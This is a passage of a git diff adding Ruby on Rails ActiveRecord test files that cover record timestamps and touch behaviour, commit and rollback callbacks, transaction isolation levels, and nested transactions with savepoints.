+ @developer.salary = previous_salary + 10000
+ @developer.touch
+
+ assert_not_equal @previously_updated_at, @developer.updated_at
+ assert_equal previous_salary + 10000, @developer.salary
+ assert @developer.salary_changed?, 'developer salary should have changed'
+ assert @developer.changed?, 'developer should be marked as changed'
+ @developer.reload
+ assert_equal previous_salary, @developer.salary
+ end
+
+ def test_touching_a_record_with_default_scope_that_excludes_it_updates_its_timestamp
+ developer = @developer.becomes(DeveloperCalledJamis)
+
+ developer.touch
+ assert_not_equal @previously_updated_at, developer.updated_at
+ developer.reload
+ assert_not_equal @previously_updated_at, developer.updated_at
+ end
+
+ def test_saving_when_record_timestamps_is_false_doesnt_update_its_timestamp
+ Developer.record_timestamps = false
+ @developer.name = "John Smith"
+ @developer.save!
+
+ assert_equal @previously_updated_at, @developer.updated_at
+ ensure
+ Developer.record_timestamps = true
+ end
+
+ def test_saving_when_instance_record_timestamps_is_false_doesnt_update_its_timestamp
+ @developer.record_timestamps = false
+ assert Developer.record_timestamps
+
+ @developer.name = "John Smith"
+ @developer.save!
+
+ assert_equal @previously_updated_at, @developer.updated_at
+ end
+
+ def test_touching_an_attribute_updates_timestamp
+ previously_created_at = @developer.created_at
+ @developer.touch(:created_at)
+
+ assert !@developer.created_at_changed? , 'created_at should not be changed'
+ assert !@developer.changed?, 'record should not be changed'
+ assert_not_equal previously_created_at, @developer.created_at
+ assert_not_equal @previously_updated_at, @developer.updated_at
+ end
+
+ def test_touching_an_attribute_updates_it
+ task = Task.first
+ previous_value = task.ending
+ task.touch(:ending)
+ assert_not_equal previous_value, task.ending
+ assert_in_delta Time.now, task.ending, 1
+ end
+
+ def test_touching_a_record_without_timestamps_is_unexceptional
+ assert_nothing_raised { Car.first.touch }
+ end
+
+ def test_saving_a_record_with_a_belongs_to_that_specifies_touching_the_parent_should_update_the_parent_updated_at
+ pet = Pet.first
+ owner = pet.owner
+ previously_owner_updated_at = owner.updated_at
+
+ pet.name = "Fluffy the Third"
+ pet.save
+
+ assert_not_equal previously_owner_updated_at, pet.owner.updated_at
+ end
+
+ def test_destroying_a_record_with_a_belongs_to_that_specifies_touching_the_parent_should_update_the_parent_updated_at
+ pet = Pet.first
+ owner = pet.owner
+ previously_owner_updated_at = owner.updated_at
+
+ pet.destroy
+
+ assert_not_equal previously_owner_updated_at, pet.owner.updated_at
+ end
+
+ def test_saving_a_new_record_belonging_to_invalid_parent_with_touch_should_not_raise_exception
+ klass = Class.new(Owner) do
+ def self.name; 'Owner'; end
+ validate { errors.add(:base, :invalid) }
+ end
+
+ pet = Pet.new(owner: klass.new)
+ pet.save!
+
+ assert pet.owner.new_record?
+ end
+
+ def test_saving_a_record_with_a_belongs_to_that_specifies_touching_a_specific_attribute_the_parent_should_update_that_attribute
+ klass = Class.new(ActiveRecord::Base) do
+ def self.name; 'Pet'; end
+ belongs_to :owner, :touch => :happy_at
+ end
+
+ pet = klass.first
+ owner = pet.owner
+ previously_owner_happy_at = owner.happy_at
+
+ pet.name = "Fluffy the Third"
+ pet.save
+
+ assert_not_equal previously_owner_happy_at, pet.owner.happy_at
+ end
+
+ def test_touching_a_record_with_a_belongs_to_that_uses_a_counter_cache_should_update_the_parent
+ klass = Class.new(ActiveRecord::Base) do
+ def self.name; 'Pet'; end
+ belongs_to :owner, :counter_cache => :use_count, :touch => true
+ end
+
+ pet = klass.first
+ owner = pet.owner
+ owner.update_columns(happy_at: 3.days.ago)
+ previously_owner_updated_at = owner.updated_at
+
+ pet.name = "I'm a parrot"
+ pet.save
+
+ assert_not_equal previously_owner_updated_at, pet.owner.updated_at
+ end
+
+ def test_touching_a_record_touches_parent_record_and_grandparent_record
+ klass = Class.new(ActiveRecord::Base) do
+ def self.name; 'Toy'; end
+ belongs_to :pet, :touch => true
+ end
+
+ toy = klass.first
+ pet = toy.pet
+ owner = pet.owner
+ time = 3.days.ago
+
+ owner.update_columns(updated_at: time)
+ toy.touch
+ owner.reload
+
+ assert_not_equal time, owner.updated_at
+ end
+
+ def test_touching_a_record_touches_polymorphic_record
+ klass = Class.new(ActiveRecord::Base) do
+ def self.name; 'Toy'; end
+ end
+
+ wheel_klass = Class.new(ActiveRecord::Base) do
+ def self.name; 'Wheel'; end
+ belongs_to :wheelable, :polymorphic => true, :touch => true
+ end
+
+ toy = klass.first
+ time = 3.days.ago
+ toy.update_columns(updated_at: time)
+
+ wheel = wheel_klass.new
+ wheel.wheelable = toy
+ wheel.save
+ wheel.touch
+
+ assert_not_equal time, toy.updated_at
+ end
+
+ def test_changing_parent_of_a_record_touches_both_new_and_old_parent_record
+ klass = Class.new(ActiveRecord::Base) do
+ def self.name; 'Toy'; end
+ belongs_to :pet, touch: true
+ end
+
+ toy1 = klass.find(1)
+ old_pet = toy1.pet
+
+ toy2 = klass.find(2)
+ new_pet = toy2.pet
+ time = 3.days.ago.at_beginning_of_hour
+
+ old_pet.update_columns(updated_at: time)
+ new_pet.update_columns(updated_at: time)
+
+ toy1.pet = new_pet
+ toy1.save!
+
+ old_pet.reload
+ new_pet.reload
+
+ assert_not_equal time, new_pet.updated_at
+ assert_not_equal time, old_pet.updated_at
+ end
+
+ def test_changing_parent_of_a_record_touches_both_new_and_old_polymorphic_parent_record
+ klass = Class.new(ActiveRecord::Base) do
+ def self.name; 'Toy'; end
+ end
+
+ wheel_klass = Class.new(ActiveRecord::Base) do
+ def self.name; 'Wheel'; end
+ belongs_to :wheelable, :polymorphic => true, :touch => true
+ end
+
+ toy1 = klass.find(1)
+ toy2 = klass.find(2)
+
+ wheel = wheel_klass.new
+ wheel.wheelable = toy1
+ wheel.save!
+
+ time = 3.days.ago.at_beginning_of_hour
+
+ toy1.update_columns(updated_at: time)
+ toy2.update_columns(updated_at: time)
+
+ wheel.wheelable = toy2
+ wheel.save!
+
+ toy1.reload
+ toy2.reload
+
+ assert_not_equal time, toy1.updated_at
+ assert_not_equal time, toy2.updated_at
+ end
+
+ def test_clearing_association_touches_the_old_record
+ klass = Class.new(ActiveRecord::Base) do
+ def self.name; 'Toy'; end
+ belongs_to :pet, touch: true
+ end
+
+ toy = klass.find(1)
+ pet = toy.pet
+ time = 3.days.ago.at_beginning_of_hour
+
+ pet.update_columns(updated_at: time)
+
+ toy.pet = nil
+ toy.save!
+
+ pet.reload
+
+ assert_not_equal time, pet.updated_at
+ end
+
+ def test_timestamp_attributes_for_create
+ toy = Toy.first
+ assert_equal toy.send(:timestamp_attributes_for_create), [:created_at, :created_on]
+ end
+
+ def test_timestamp_attributes_for_update
+ toy = Toy.first
+ assert_equal toy.send(:timestamp_attributes_for_update), [:updated_at, :updated_on]
+ end
+
+ def test_all_timestamp_attributes
+ toy = Toy.first
+ assert_equal toy.send(:all_timestamp_attributes), [:created_at, :created_on, :updated_at, :updated_on]
+ end
+
+ def test_timestamp_attributes_for_create_in_model
+ toy = Toy.first
+ assert_equal toy.send(:timestamp_attributes_for_create_in_model), [:created_at]
+ end
+
+ def test_timestamp_attributes_for_update_in_model
+ toy = Toy.first
+ assert_equal toy.send(:timestamp_attributes_for_update_in_model), [:updated_at]
+ end
+
+ def test_all_timestamp_attributes_in_model
+ toy = Toy.first
+ assert_equal toy.send(:all_timestamp_attributes_in_model), [:created_at, :updated_at]
+ end
+end
diff --git a/activerecord/test/cases/transaction_callbacks_test.rb b/activerecord/test/cases/transaction_callbacks_test.rb
new file mode 100644
index 0000000..9485de8
--- /dev/null
+++ b/activerecord/test/cases/transaction_callbacks_test.rb
@@ -0,0 +1,317 @@
+require "cases/helper"
+require 'models/topic'
+
+class TransactionCallbacksTest < ActiveRecord::TestCase
+ self.use_transactional_fixtures = false
+ fixtures :topics
+
+ class ReplyWithCallbacks < ActiveRecord::Base
+ self.table_name = :topics
+
+ belongs_to :topic, foreign_key: "parent_id"
+
+ validates_presence_of :content
+
+ after_commit :do_after_commit, on: :create
+
+ def history
+ @history ||= []
+ end
+
+ def do_after_commit
+ history << :commit_on_create
+ end
+ end
+
+ class TopicWithCallbacks < ActiveRecord::Base
+ self.table_name = :topics
+
+ has_many :replies, class_name: "ReplyWithCallbacks", foreign_key: "parent_id"
+
+ after_commit{|record| record.send(:do_after_commit, nil)}
+ after_commit(:on => :create){|record| record.send(:do_after_commit, :create)}
+ after_commit(:on => :update){|record| record.send(:do_after_commit, :update)}
+ after_commit(:on => :destroy){|record| record.send(:do_after_commit, :destroy)}
+ after_rollback{|record| record.send(:do_after_rollback, nil)}
+ after_rollback(:on => :create){|record| record.send(:do_after_rollback, :create)}
+ after_rollback(:on => :update){|record| record.send(:do_after_rollback, :update)}
+ after_rollback(:on => :destroy){|record| record.send(:do_after_rollback, :destroy)}
+
+ def history
+ @history ||= []
+ end
+
+ def after_commit_block(on = nil, &block)
+ @after_commit ||= {}
+ @after_commit[on] ||= []
+ @after_commit[on] << block
+ end
+
+ def after_rollback_block(on = nil, &block)
+ @after_rollback ||= {}
+ @after_rollback[on] ||= []
+ @after_rollback[on] << block
+ end
+
+ def do_after_commit(on)
+ blocks = @after_commit[on] if defined?(@after_commit)
+ blocks.each{|b| b.call(self)} if blocks
+ end
+
+ def do_after_rollback(on)
+ blocks = @after_rollback[on] if defined?(@after_rollback)
+ blocks.each{|b| b.call(self)} if blocks
+ end
+ end
+
+ def setup
+ @first, @second = TopicWithCallbacks.find(1, 3).sort_by { |t| t.id }
+ end
+
+ def test_call_after_commit_after_transaction_commits
+ @first.after_commit_block{|r| r.history << :after_commit}
+ @first.after_rollback_block{|r| r.history << :after_rollback}
+
+ @first.save!
+ assert_equal [:after_commit], @first.history
+ end
+
+ def test_only_call_after_commit_on_update_after_transaction_commits_for_existing_record
+ @first.after_commit_block(:create){|r| r.history << :commit_on_create}
+ @first.after_commit_block(:update){|r| r.history << :commit_on_update}
+ @first.after_commit_block(:destroy){|r| r.history << :commit_on_destroy}
+ @first.after_rollback_block(:create){|r| r.history << :rollback_on_create}
+ @first.after_rollback_block(:update){|r| r.history << :rollback_on_update}
+ @first.after_rollback_block(:destroy){|r| r.history << :rollback_on_destroy}
+
+ @first.save!
+ assert_equal [:commit_on_update], @first.history
+ end
+
+ def test_only_call_after_commit_on_destroy_after_transaction_commits_for_destroyed_record
+ @first.after_commit_block(:create){|r| r.history << :commit_on_create}
+ @first.after_commit_block(:update){|r| r.history << :commit_on_update}
+ @first.after_commit_block(:destroy){|r| r.history << :commit_on_destroy}
+ @first.after_rollback_block(:create){|r| r.history << :rollback_on_create}
+ @first.after_rollback_block(:update){|r| r.history << :rollback_on_update}
+ @first.after_rollback_block(:destroy){|r| r.history << :rollback_on_destroy}
+
+ @first.destroy
+ assert_equal [:commit_on_destroy], @first.history
+ end
+
+ def test_only_call_after_commit_on_create_after_transaction_commits_for_new_record
+ @new_record = TopicWithCallbacks.new(:title => "New topic", :written_on => Date.today)
+ @new_record.after_commit_block(:create){|r| r.history << :commit_on_create}
+ @new_record.after_commit_block(:update){|r| r.history << :commit_on_update}
+ @new_record.after_commit_block(:destroy){|r| r.history << :commit_on_destroy}
+ @new_record.after_rollback_block(:create){|r| r.history << :rollback_on_create}
+ @new_record.after_rollback_block(:update){|r| r.history << :rollback_on_update}
+ @new_record.after_rollback_block(:destroy){|r| r.history << :rollback_on_destroy}
+
+ @new_record.save!
+ assert_equal [:commit_on_create], @new_record.history
+ end
+
+ def test_only_call_after_commit_on_create_after_transaction_commits_for_new_record_if_create_succeeds_creating_through_association
+ topic = TopicWithCallbacks.create!(:title => "New topic", :written_on => Date.today)
+ reply = topic.replies.create
+
+ assert_equal [], reply.history
+ end
+
+ def test_call_after_rollback_after_transaction_rollsback
+ @first.after_commit_block{|r| r.history << :after_commit}
+ @first.after_rollback_block{|r| r.history << :after_rollback}
+
+ Topic.transaction do
+ @first.save!
+ raise ActiveRecord::Rollback
+ end
+
+ assert_equal [:after_rollback], @first.history
+ end
+
+ def test_only_call_after_rollback_on_update_after_transaction_rollsback_for_existing_record
+ @first.after_commit_block(:create){|r| r.history << :commit_on_create}
+ @first.after_commit_block(:update){|r| r.history << :commit_on_update}
+ @first.after_commit_block(:destroy){|r| r.history << :commit_on_destroy}
+ @first.after_rollback_block(:create){|r| r.history << :rollback_on_create}
+ @first.after_rollback_block(:update){|r| r.history << :rollback_on_update}
+ @first.after_rollback_block(:destroy){|r| r.history << :rollback_on_destroy}
+
+ Topic.transaction do
+ @first.save!
+ raise ActiveRecord::Rollback
+ end
+
+ assert_equal [:rollback_on_update], @first.history
+ end
+
+ def test_only_call_after_rollback_on_destroy_after_transaction_rollsback_for_destroyed_record
+ @first.after_commit_block(:create){|r| r.history << :commit_on_create}
+ @first.after_commit_block(:update){|r| r.history << :commit_on_update}
+ @first.after_commit_block(:destroy){|r| r.history << :commit_on_update}
+ @first.after_rollback_block(:create){|r| r.history << :rollback_on_create}
+ @first.after_rollback_block(:update){|r| r.history << :rollback_on_update}
+ @first.after_rollback_block(:destroy){|r| r.history << :rollback_on_destroy}
+
+ Topic.transaction do
+ @first.destroy
+ raise ActiveRecord::Rollback
+ end
+
+ assert_equal [:rollback_on_destroy], @first.history
+ end
+
+ def test_only_call_after_rollback_on_create_after_transaction_rollsback_for_new_record
+ @new_record = TopicWithCallbacks.new(:title => "New topic", :written_on => Date.today)
+ @new_record.after_commit_block(:create){|r| r.history << :commit_on_create}
+ @new_record.after_commit_block(:update){|r| r.history << :commit_on_update}
+ @new_record.after_commit_block(:destroy){|r| r.history << :commit_on_destroy}
+ @new_record.after_rollback_block(:create){|r| r.history << :rollback_on_create}
+ @new_record.after_rollback_block(:update){|r| r.history << :rollback_on_update}
+ @new_record.after_rollback_block(:destroy){|r| r.history << :rollback_on_destroy}
+
+ Topic.transaction do
+ @new_record.save!
+ raise ActiveRecord::Rollback
+ end
+
+ assert_equal [:rollback_on_create], @new_record.history
+ end
+
+ def test_call_after_rollback_when_commit_fails
+ @first.class.connection.class.send(:alias_method, :real_method_commit_db_transaction, :commit_db_transaction)
+ begin
+ @first.class.connection.class.class_eval do
+ def commit_db_transaction; raise "boom!"; end
+ end
+
+ @first.after_commit_block{|r| r.history << :after_commit}
+ @first.after_rollback_block{|r| r.history << :after_rollback}
+
+ assert !@first.save rescue nil
+ assert_equal [:after_rollback], @first.history
+ ensure
+ @first.class.connection.class.send(:remove_method, :commit_db_transaction)
+ @first.class.connection.class.send(:alias_method, :commit_db_transaction, :real_method_commit_db_transaction)
+ end
+ end
+
+ def test_only_call_after_rollback_on_records_rolled_back_to_a_savepoint
+ def @first.rollbacks(i=0); @rollbacks ||= 0; @rollbacks += i if i; end
+ def @first.commits(i=0); @commits ||= 0; @commits += i if i; end
+ @first.after_rollback_block{|r| r.rollbacks(1)}
+ @first.after_commit_block{|r| r.commits(1)}
+
+ def @second.rollbacks(i=0); @rollbacks ||= 0; @rollbacks += i if i; end
+ def @second.commits(i=0); @commits ||= 0; @commits += i if i; end
+ @second.after_rollback_block{|r| r.rollbacks(1)}
+ @second.after_commit_block{|r| r.commits(1)}
+
+ Topic.transaction do
+ @first.save!
+ Topic.transaction(:requires_new => true) do
+ @second.save!
+ raise ActiveRecord::Rollback
+ end
+ end
+
+ assert_equal 1, @first.commits
+ assert_equal 0, @first.rollbacks
+ assert_equal 0, @second.commits
+ assert_equal 1, @second.rollbacks
+ end
+
+ def test_only_call_after_rollback_on_records_rolled_back_to_a_savepoint_when_release_savepoint_fails
+ def @first.rollbacks(i=0); @rollbacks ||= 0; @rollbacks += i if i; end
+ def @first.commits(i=0); @commits ||= 0; @commits += i if i; end
+
+ @first.after_rollback_block{|r| r.rollbacks(1)}
+ @first.after_commit_block{|r| r.commits(1)}
+
+ Topic.transaction do
+ @first.save
+ Topic.transaction(:requires_new => true) do
+ @first.save!
+ raise ActiveRecord::Rollback
+ end
+ Topic.transaction(:requires_new => true) do
+ @first.save!
+ raise ActiveRecord::Rollback
+ end
+ end
+
+ assert_equal 1, @first.commits
+ assert_equal 2, @first.rollbacks
+ end
+
+ def test_after_transaction_callbacks_should_prevent_callbacks_from_being_called
+ def @first.last_after_transaction_error=(e); @last_transaction_error = e; end
+ def @first.last_after_transaction_error; @last_transaction_error; end
+ @first.after_commit_block{|r| r.last_after_transaction_error = :commit; raise "fail!";}
+ @first.after_rollback_block{|r| r.last_after_transaction_error = :rollback; raise "fail!";}
+ @second.after_commit_block{|r| r.history << :after_commit}
+ @second.after_rollback_block{|r| r.history << :after_rollback}
+
+ Topic.transaction do
+ @first.save!
+ @second.save!
+ end
+ assert_equal :commit, @first.last_after_transaction_error
+ assert_equal [:after_commit], @second.history
+
+ @second.history.clear
+ Topic.transaction do
+ @first.save!
+ @second.save!
+ raise ActiveRecord::Rollback
+ end
+ assert_equal :rollback, @first.last_after_transaction_error
+ assert_equal [:after_rollback], @second.history
+ end
+
+ def test_after_rollback_callbacks_should_validate_on_condition
+ assert_raise(ArgumentError) { Topic.send(:after_rollback, :on => :save) }
+ end
+
+ def test_after_commit_callbacks_should_validate_on_condition
+ assert_raise(ArgumentError) { Topic.send(:after_commit, :on => :save) }
+ end
+end
+
+class CallbacksOnMultipleActionsTest < ActiveRecord::TestCase
+ self.use_transactional_fixtures = false
+
+ class TopicWithCallbacksOnMultipleActions < ActiveRecord::Base
+ self.table_name = :topics
+
+ after_commit(on: [:create, :destroy]) { |record| record.history << :create_and_destroy }
+ after_commit(on: [:create, :update]) { |record| record.history << :create_and_update }
+ after_commit(on: [:update, :destroy]) { |record| record.history << :update_and_destroy }
+
+ def clear_history
+ @history = []
+ end
+
+ def history
+ @history ||= []
+ end
+ end
+
+ def test_after_commit_on_multiple_actions
+ topic = TopicWithCallbacksOnMultipleActions.new
+ topic.save
+ assert_equal [:create_and_update, :create_and_destroy], topic.history
+
+ topic.clear_history
+ topic.approved = true
+ topic.save
+ assert_equal [:update_and_destroy, :create_and_update], topic.history
+
+ topic.clear_history
+ topic.destroy
+ assert_equal [:update_and_destroy, :create_and_destroy], topic.history
+ end
+end
diff --git a/activerecord/test/cases/transaction_isolation_test.rb b/activerecord/test/cases/transaction_isolation_test.rb
new file mode 100644
index 0000000..4f1cb99
--- /dev/null
+++ b/activerecord/test/cases/transaction_isolation_test.rb
@@ -0,0 +1,114 @@
+require 'cases/helper'
+
+class TransactionIsolationUnsupportedTest < ActiveRecord::TestCase
+ self.use_transactional_fixtures = false
+
+ class Tag < ActiveRecord::Base
+ end
+
+ setup do
+ if ActiveRecord::Base.connection.supports_transaction_isolation?
+ skip "database supports transaction isolation; test is irrelevant"
+ end
+ end
+
+ test "setting the isolation level raises an error" do
+ assert_raises(ActiveRecord::TransactionIsolationError) do
+ Tag.transaction(isolation: :serializable) { }
+ end
+ end
+end
+
+class TransactionIsolationTest < ActiveRecord::TestCase
+ self.use_transactional_fixtures = false
+
+ class Tag < ActiveRecord::Base
+ self.table_name = 'tags'
+ end
+
+ class Tag2 < ActiveRecord::Base
+ self.table_name = 'tags'
+ end
+
+ setup do
+ unless ActiveRecord::Base.connection.supports_transaction_isolation?
+ skip "database does not support setting transaction isolation"
+ end
+
+ Tag.establish_connection 'arunit'
+ Tag2.establish_connection 'arunit'
+ Tag.destroy_all
+ end
+
+ # It is impossible to properly test read uncommitted. The SQL standard only
+ # specifies what must not happen at a certain level, not what must happen. At
+ # the read uncommitted level, there is nothing that must not happen.
+ test "read uncommitted" do
+ unless ActiveRecord::Base.connection.transaction_isolation_levels.include?(:read_uncommitted)
+ skip "database does not support read uncommitted isolation level"
+ end
+ Tag.transaction(isolation: :read_uncommitted) do
+ assert_equal 0, Tag.count
+ Tag2.create
+ assert_equal 1, Tag.count
+ end
+ end
+
+ # We are testing that a dirty read does not happen
+ test "read committed" do
+ Tag.transaction(isolation: :read_committed) do
+ assert_equal 0, Tag.count
+
+ Tag2.transaction do
+ Tag2.create
+ assert_equal 0, Tag.count
+ end
+ end
+
+ assert_equal 1, Tag.count
+ end
+
+ # We are testing that a nonrepeatable read does not happen
+ test "repeatable read" do
+ unless ActiveRecord::Base.connection.transaction_isolation_levels.include?(:repeatable_read)
+ skip "database does not support repeatable read isolation level"
+ end
+ tag = Tag.create(name: 'jon')
+
+ Tag.transaction(isolation: :repeatable_read) do
+ tag.reload
+ Tag2.find(tag.id).update(name: 'emily')
+
+ tag.reload
+ assert_equal 'jon', tag.name
+ end
+
+ tag.reload
+ assert_equal 'emily', tag.name
+ end
+
+ # We are only testing that there are no errors because it's too hard to
+ # test serializable. Databases behave differently to enforce the serializability
+ # constraint.
+ test "serializable" do
+ Tag.transaction(isolation: :serializable) do
+ Tag.create
+ end
+ end
+
+ test "setting isolation when joining a transaction raises an error" do
+ Tag.transaction do
+ assert_raises(ActiveRecord::TransactionIsolationError) do
+ Tag.transaction(isolation: :serializable) { }
+ end
+ end
+ end
+
+ test "setting isolation when starting a nested transaction raises error" do
+ Tag.transaction do
+ assert_raises(ActiveRecord::TransactionIsolationError) do
+ Tag.transaction(requires_new: true, isolation: :serializable) { }
+ end
+ end
+ end
+end
diff --git a/activerecord/test/cases/transactions_test.rb b/activerecord/test/cases/transactions_test.rb
new file mode 100644
index 0000000..6d66342
--- /dev/null
+++ b/activerecord/test/cases/transactions_test.rb
@@ -0,0 +1,616 @@
+require "cases/helper"
+require 'models/topic'
+require 'models/reply'
+require 'models/developer'
+require 'models/book'
+require 'models/author'
+require 'models/post'
+
+class TransactionTest < ActiveRecord::TestCase
+ self.use_transactional_fixtures = false
+ fixtures :topics, :developers, :authors, :posts
+
+ def setup
+ @first, @second = Topic.find(1, 2).sort_by { |t| t.id }
+ end
+
+ def test_raise_after_destroy
+ assert_not @first.frozen?
+
+ assert_raises(RuntimeError) {
+ Topic.transaction do
+ @first.destroy
+ assert @first.frozen?
+ raise
+ end
+ }
+
+ assert @first.reload
+ assert_not @first.frozen?
+ end
+
+ def test_successful
+ Topic.transaction do
+ @first.approved = true
+ @second.approved = false
+ @first.save
+ @second.save
+ end
+
+ assert Topic.find(1).approved?, "First should have been approved"
+ assert !Topic.find(2).approved?, "Second should have been unapproved"
+ end
+
+ def transaction_with_return
+ Topic.transaction do
+ @first.approved = true
+ @second.approved = false
+ @first.save
+ @second.save
+ return
+ end
+ end
+
+ def test_successful_with_return
+ committed = false
+
+ Topic.connection.class_eval do
+ alias :real_commit_db_transaction :commit_db_transaction
+ define_method(:commit_db_transaction) do
+ committed = true
+ real_commit_db_transaction
+ end
+ end
+
+ transaction_with_return
+ assert committed
+
+ assert Topic.find(1).approved?, "First should have been approved"
+ assert !Topic.find(2).approved?, "Second should have been unapproved"
+ ensure
+ Topic.connection.class_eval do
+ remove_method :commit_db_transaction
+ alias :commit_db_transaction :real_commit_db_transaction rescue nil
+ end
+ end
+
+ def test_successful_with_instance_method
+ @first.transaction do
+ @first.approved = true
+ @second.approved = false
+ @first.save
+ @second.save
+ end
+
+ assert Topic.find(1).approved?, "First should have been approved"
+ assert !Topic.find(2).approved?, "Second should have been unapproved"
+ end
+
+ def test_failing_on_exception
+ begin
+ Topic.transaction do
+ @first.approved = true
+ @second.approved = false
+ @first.save
+ @second.save
+ raise "Bad things!"
+ end
+ rescue
+ # caught it
+ end
+
+ assert @first.approved?, "First should still be changed in the objects"
+ assert !@second.approved?, "Second should still be changed in the objects"
+
+ assert !Topic.find(1).approved?, "First shouldn't have been approved"
+ assert Topic.find(2).approved?, "Second should still be approved"
+ end
+
+ def test_raising_exception_in_callback_rollbacks_in_save
+ def @first.after_save_for_transaction
+ raise 'Make the transaction rollback'
+ end
+
+ @first.approved = true
+ e = assert_raises(RuntimeError) { @first.save }
+ assert_equal "Make the transaction rollback", e.message
+ assert !Topic.find(1).approved?
+ end
+
+ def test_update_should_rollback_on_failure
+ author = Author.find(1)
+ posts_count = author.posts.size
+ assert posts_count > 0
+ status = author.update(name: nil, post_ids: [])
+ assert !status
+ assert_equal posts_count, author.posts(true).size
+ end
+
+ def test_update_should_rollback_on_failure!
+ author = Author.find(1)
+ posts_count = author.posts.size
+ assert posts_count > 0
+ assert_raise(ActiveRecord::RecordInvalid) do
+ author.update!(name: nil, post_ids: [])
+ end
+ assert_equal posts_count, author.posts(true).size
+ end
+
+ def test_cancellation_from_before_destroy_rollbacks_in_destroy
+ add_cancelling_before_destroy_with_db_side_effect_to_topic @first
+ nbooks_before_destroy = Book.count
+ status = @first.destroy
+ assert !status
+ @first.reload
+ assert_equal nbooks_before_destroy, Book.count
+ end
+
+ %w(validation save).each do |filter|
+ define_method("test_cancellation_from_before_filters_rollbacks_in_#{filter}") do
+ send("add_cancelling_before_#{filter}_with_db_side_effect_to_topic", @first)
+ nbooks_before_save = Book.count
+ original_author_name = @first.author_name
+ @first.author_name += '_this_should_not_end_up_in_the_db'
+ status = @first.save
+ assert !status
+ assert_equal original_author_name, @first.reload.author_name
+ assert_equal nbooks_before_save, Book.count
+ end
+
+ define_method("test_cancellation_from_before_filters_rollbacks_in_#{filter}!") do
+ send("add_cancelling_before_#{filter}_with_db_side_effect_to_topic", @first)
+ nbooks_before_save = Book.count
+ original_author_name = @first.author_name
+ @first.author_name += '_this_should_not_end_up_in_the_db'
+
+ begin
+ @first.save!
+ rescue ActiveRecord::RecordInvalid, ActiveRecord::RecordNotSaved
+ end
+
+ assert_equal original_author_name, @first.reload.author_name
+ assert_equal nbooks_before_save, Book.count
+ end
+ end
+
+ def test_callback_rollback_in_create
+ topic = Class.new(Topic) {
+ def after_create_for_transaction
+ raise 'Make the transaction rollback'
+ end
+ }
+
+ new_topic = topic.new(:title => "A new topic",
+ :author_name => "Ben",
+ :author_email_address => "ben at example.com",
+ :written_on => "2003-07-16t15:28:11.2233+01:00",
+ :last_read => "2004-04-15",
+ :bonus_time => "2005-01-30t15:28:00.00+01:00",
+ :content => "Have a nice day",
+ :approved => false)
+
+ new_record_snapshot = !new_topic.persisted?
+ id_present = new_topic.has_attribute?(Topic.primary_key)
+ id_snapshot = new_topic.id
+
+ # Make sure the second save gets the after_create callback called.
+ 2.times do
+ new_topic.approved = true
+ e = assert_raises(RuntimeError) { new_topic.save }
+ assert_equal "Make the transaction rollback", e.message
+ assert_equal new_record_snapshot, !new_topic.persisted?, "The topic should have its old persisted value"
+ assert_equal id_snapshot, new_topic.id, "The topic should have its old id"
+ assert_equal id_present, new_topic.has_attribute?(Topic.primary_key)
+ end
+ end
+
+ def test_callback_rollback_in_create_with_record_invalid_exception
+ topic = Class.new(Topic) {
+ def after_create_for_transaction
+ raise ActiveRecord::RecordInvalid.new(Author.new)
+ end
+ }
+
+ new_topic = topic.create(:title => "A new topic")
+ assert !new_topic.persisted?, "The topic should not be persisted"
+ assert_nil new_topic.id, "The topic should not have an ID"
+ end
+
+ def test_nested_explicit_transactions
+ Topic.transaction do
+ Topic.transaction do
+ @first.approved = true
+ @second.approved = false
+ @first.save
+ @second.save
+ end
+ end
+
+ assert Topic.find(1).approved?, "First should have been approved"
+ assert !Topic.find(2).approved?, "Second should have been unapproved"
+ end
+
+ def test_manually_rolling_back_a_transaction
+ Topic.transaction do
+ @first.approved = true
+ @second.approved = false
+ @first.save
+ @second.save
+
+ raise ActiveRecord::Rollback
+ end
+
+ assert @first.approved?, "First should still be changed in the objects"
+ assert !@second.approved?, "Second should still be changed in the objects"
+
+ assert !Topic.find(1).approved?, "First shouldn't have been approved"
+ assert Topic.find(2).approved?, "Second should still be approved"
+ end
+
+ def test_invalid_keys_for_transaction
+ assert_raise ArgumentError do
+ Topic.transaction :nested => true do
+ end
+ end
+ end
+
+ def test_force_savepoint_in_nested_transaction
+ Topic.transaction do
+ @first.approved = true
+ @second.approved = false
+ @first.save!
+ @second.save!
+
+ begin
+ Topic.transaction :requires_new => true do
+ @first.happy = false
+ @first.save!
+ raise
+ end
+ rescue
+ end
+ end
+
+ assert @first.reload.approved?
+ assert !@second.reload.approved?
+ end if Topic.connection.supports_savepoints?
+
+ def test_force_savepoint_on_instance
+ @first.transaction do
+ @first.approved = true
+ @second.approved = false
+ @first.save!
+ @second.save!
+
+ begin
+ @second.transaction :requires_new => true do
+ @first.happy = false
+ @first.save!
+ raise
+ end
+ rescue
+ end
+ end
+
+ assert @first.reload.approved?
+ assert !@second.reload.approved?
+ end if Topic.connection.supports_savepoints?
+
+ def test_no_savepoint_in_nested_transaction_without_force
+ Topic.transaction do
+ @first.approved = true
+ @second.approved = false
+ @first.save!
+ @second.save!
+
+ begin
+ Topic.transaction do
+ @first.approved = false
+ @first.save!
+ raise
+ end
+ rescue
+ end
+ end
+
+ assert !@first.reload.approved?
+ assert !@second.reload.approved?
+ end if Topic.connection.supports_savepoints?
+
+ def test_many_savepoints
+ Topic.transaction do
+ @first.content = "One"
+ @first.save!
+
+ begin
+ Topic.transaction :requires_new => true do
+ @first.content = "Two"
+ @first.save!
+
+ begin
+ Topic.transaction :requires_new => true do
+ @first.content = "Three"
+ @first.save!
+
+ begin
+ Topic.transaction :requires_new => true do
+ @first.content = "Four"
+ @first.save!
+ raise
+ end
+ rescue
+ end
+
+ @three = @first.reload.content
+ raise
+ end
+ rescue
+ end
+
+ @two = @first.reload.content
+ raise
+ end
+ rescue
+ end
+
+ @one = @first.reload.content
+ end
+
+ assert_equal "One", @one
+ assert_equal "Two", @two
+ assert_equal "Three", @three
+ end if Topic.connection.supports_savepoints?
+
+ def test_rollback_when_commit_raises
+ Topic.connection.expects(:begin_db_transaction)
+ Topic.connection.expects(:commit_db_transaction).raises('OH NOES')
+ Topic.connection.expects(:rollback_db_transaction)
+
+ assert_raise RuntimeError do
+ Topic.transaction do
+ # do nothing
+ end
+ end
+ end
+
+ def test_rollback_when_saving_a_frozen_record
+ topic = Topic.new(:title => 'test')
+ topic.freeze
+ e = assert_raise(RuntimeError) { topic.save }
+ assert_equal "can't modify frozen Hash", e.message
+ assert !topic.persisted?, 'not persisted'
+ assert_nil topic.id
